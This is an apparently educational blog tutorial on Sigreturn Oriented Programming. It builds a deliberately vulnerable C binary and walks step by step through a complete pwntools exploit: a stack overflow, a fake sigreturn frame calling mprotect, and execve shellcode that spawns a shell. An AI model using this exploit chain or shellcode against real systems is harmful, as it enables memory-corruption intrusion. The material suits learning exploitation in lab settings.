Sigreturn Oriented Programming
In the name of Allah, the most beneficent, the most merciful.
- Hello everyone to a new boring article, after we took a small look on normal ROP stuff, I decided to write something more fun !
- @_py is the one that started that idea!
- for learning purposes ā¦
- I hope you learn much!
###Whatās so special about SROP?``
It needs only a small syscall; ret; gadget, and a way to set EAX to syscall number of sigreturn!
- While you need much gadgets to ROP, 1 ~ 2 to SROP!
- Sometimes, you need to combine both ā¦
##how can we SROP?``
- We want to exploit the weakness that lies in UNIX systems, sigreturn()ā¦
- This function when called, restores all registers from stack, with no further checksā¦
- We know that the signal form looks like this:
Solving an x64 simple binary, the SROP way!
- Suppose we have an overflow ( Nullbytes shouldnāt be removed ), allowing us to overwrite the saved RIPā¦ and a little gadget that will allow us set RAX value to 15 ā¦
- We can simply set saved RIP to the gadget, and we build a fake signal frame, thatāll allow us do ANYTHING WE WANT, SINCE WE WILL CONTROL ALL REGISTERS !
- Letās write a small binary that contains these ingredients !
#include <stdio.h>
#include <stdlib.h>
void syscall_(){
__asm__("syscall; ret;");
}
void set_rax(){
__asm__("movl $0xf, %eax; ret;");
}
int main(){
// ONLY SROP!
char buff[100];
printf("Buff @%p, can you SROP?\n", buff);
read(0, buff, 5000);
return 0;
}
Letās start by controlling RIP!
- We keep filling the stack until we get SIGSEGV, and we subtract one from it, leading to get the perfect padding!
- The padding to saved RIP is 120 , letās check it!
Writing the exploit
- We gained control over RIP, letās start writing our exploit.py!
#!/usr/bin/python
from pwn import *
context.clear(arch="amd64")
c = process("./srop")
pad = 120
# EXPLOIT
payload = "A" * pad # FILL STACK TILL SAVED RIP
payload += "BBBB" # OVERWRITING SAVED RIP WITH BBBB
# SENDING
c.sendline(payload)
c.interactive()
- pwntoolsā¦ Always making our life easier ā¦
- Because of pwntools, we wonāt write the whole chain ( you can write it if you want )!
- Letās first collect, the useful gadgets for our attack!
# ENTRIES
syscall_ret = 0x40054a
mov_rax_15_ret = 0x400554
- Also thereās some kind of leak, the address of buff, is something we have!
- Letās write a small part to take that leak before sending the payload!
# LEAK
c.recvuntil("@0x")
leak = int(c.recvuntil(",")[:-1], 16)
print "Buff @ " + hex(leak)
- All working good!
- Letās now start editing the EXPLOIT part!
- The plan iām going to do, is to make the Buff address executable, and return to it!
- To do so, iām going to craft a signalframe that will be able to call mprotect on buff addressā¦
- We are going to test on an address, and try making it executable!
pause() # STOP TO ATTACH GDB
test = 0x601000 # TEST ADDRESS
# EXPLOIT
payload = "A" * pad # FILLING STACK TO SAVED RIP
payload += p64(mov_rax_15_ret) # SET RAX TO SIGRETURN SYSCALL NUMBER
payload += p64(syscall_ret) # CALL SIGRETURN
# BUILD FAKE FRAME
frame = SigreturnFrame(kernel="amd64") # CREATING A SIGRETURN FRAME
frame.rax = 10 # SET RAX TO MPROTECT SYSCALL NUMBER
frame.rdi = test # SET RDI TO TEST ADDRESS
frame.rsi = 2000 # SET RSI TO SIZE
frame.rdx = 7 # SET RDX => RWX PERMISSION
frame.rsp = leak + len(payload) + 248 # WHERE 248 IS SIZE OF FAKE FRAME!
frame.rip = syscall_ret # SET RIP TO SYSCALL ADDRESS
# PLACE FAKE FRAME ON STACK
payload += str(frame)
payload += "AAAA" # WHERE IT GOING TO RETURN ( RSP )
Stack is going to look like this:
- Letās run the exploit and attach it!
- Write ācā in GDB to continue, and press enter in exploit.py tab to resume!
- BEAAAAAAAAM, RIP in itās right place, letās check if the address has now RWX permissions!
- RWX! letās now take advantage of that and instead of test address, we are going to make buff address executable!
pause() # STOP TO ATTACH GDB
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # x86_64 EXECVE SHELLCODE
# EXPLOIT
payload = shellcode # PLACING SHELLCODE IN BEGINNING OF BUFF
payload = payload.ljust(pad, "A") # FILLING STACK TO SAVED RIP
payload += p64(mov_rax_15_ret) # SET RAX TO SIGRETURN SYSCALL NUMBER
payload += p64(syscall_ret) # CALL SIGRETURN
# BUILD FAKE FRAME
frame = SigreturnFrame(kernel="amd64") # CREATING A SIGRETURN FRAME
frame.rax = 10 # SET RAX TO MPROTECT SYSCALL NUMBER
frame.rdi = leak # SET RDI TO BUFF ADDRESS
frame.rsi = 2000 # SET RSI TO SIZE
frame.rdx = 7 # SET RDX => RWX PERMISSION
frame.rsp = leak + len(payload) + 248 # WHERE 248 IS SIZE OF FAKE FRAME!
frame.rip = syscall_ret # SET RIP TO SYSCALL ADDRESS
# PLACE FAKE FRAME ON STACK
payload += str(frame)
payload += p64(leak) # RETURN2SHELLCODE
- Letās run our exploit!
- We got our shell, we won !
Full exploit
#!/usr/bin/python
from pwn import *
context.clear(arch="amd64")
c = process("./srop")
pad = 120
# ENTRIES
syscall_ret = 0x40054a
mov_rax_15_ret = 0x400554
# LEAK
c.recvuntil("@0x")
leak = int(c.recvuntil(",")[:-1], 16)
print "Buff @ " + hex(leak)
pause() # STOP TO ATTACH GDB
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # x86_64 EXECVE SHELLCODE
# EXPLOIT
payload = shellcode # PLACING SHELLCODE IN BEGINNING OF BUFF
payload = payload.ljust(pad, "A") # FILLING STACK TO SAVED RIP
payload += p64(mov_rax_15_ret) # SET RAX TO SIGRETURN SYSCALL NUMBER
payload += p64(syscall_ret) # CALL SIGRETURN
# BUILD FAKE FRAME
frame = SigreturnFrame(kernel="amd64") # CREATING A SIGRETURN FRAME
frame.rax = 10 # SET RAX TO MPROTECT SYSCALL NUMBER
frame.rdi = leak # SET RDI TO BUFF ADDRESS
frame.rsi = 2000 # SET RSI TO SIZE
frame.rdx = 7 # SET RDX => RWX PERMISSION
frame.rsp = leak + len(payload) + 248 # WHERE 248 IS SIZE OF FAKE FRAME, CAUSE WE STILL NEED TO CONTROL RIP AFTER!
frame.rip = syscall_ret # SET RIP TO SYSCALL ADDRESS
# PLACE FAKE FRAME IN STACK
payload += str(frame)
payload += p64(leak) # RETURN2SHELLCODE
# SENDING
c.sendline(payload)
c.interactive()
Reference links:
PDF
ThisIsSecurity
Challenge on x86
- To start your adventure in the SROP world, you should to start simple!
- The target is, a simple x86 binary!
Proof that itās working, and exploitable:
-
I made that binary just to help myself understand SROP better, and exploit it on my own !
-
But now, itās your turn, to exploit a such binary!
-
Good luck. Search much, and learn much!
~ exploit